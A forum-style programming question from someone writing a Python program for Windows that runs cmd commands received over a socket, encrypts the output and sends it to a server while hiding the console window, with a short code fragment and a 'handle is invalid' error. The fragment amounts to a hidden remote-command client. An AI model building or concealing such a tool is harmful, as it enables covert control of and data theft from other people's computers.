I am making program for Windows in python that will execute cmd commands and than send the output to the server without showing the console window, but i'm getting error "[winerror 6] the handle is invalid".
I am using subprocess.getoutput and it works but when i use pyinstaller with flags --windowed or --noconsole to hide the console window I am getting error "[winerror 6] the handle is invalid".
I tried to use subprocess.call and subprocess.Popen but I had some trobules with getting the output.
I also used os.system to execute the command, write output to the file ([command] > file.txt) and than read it, but it was poping some cmd window.
So than i thought about trying to hide the window not in pyinstaller but in code, but the console window was visible for a second.
That's my current code that works when I don't hide console window using pyinstaller:
try:
command = data[1]
output = subprocess.getoutput(command)
output = EncryptData(output)
SendList = [UserName, output]
self.sock.sendall(pickle.dumps(SendList))
except Exception as e:
print(e)
os.system("echo " + str(e) + " > %"+"appdata%\\ERROR.txt")
#[winerror 6] the handle is invalid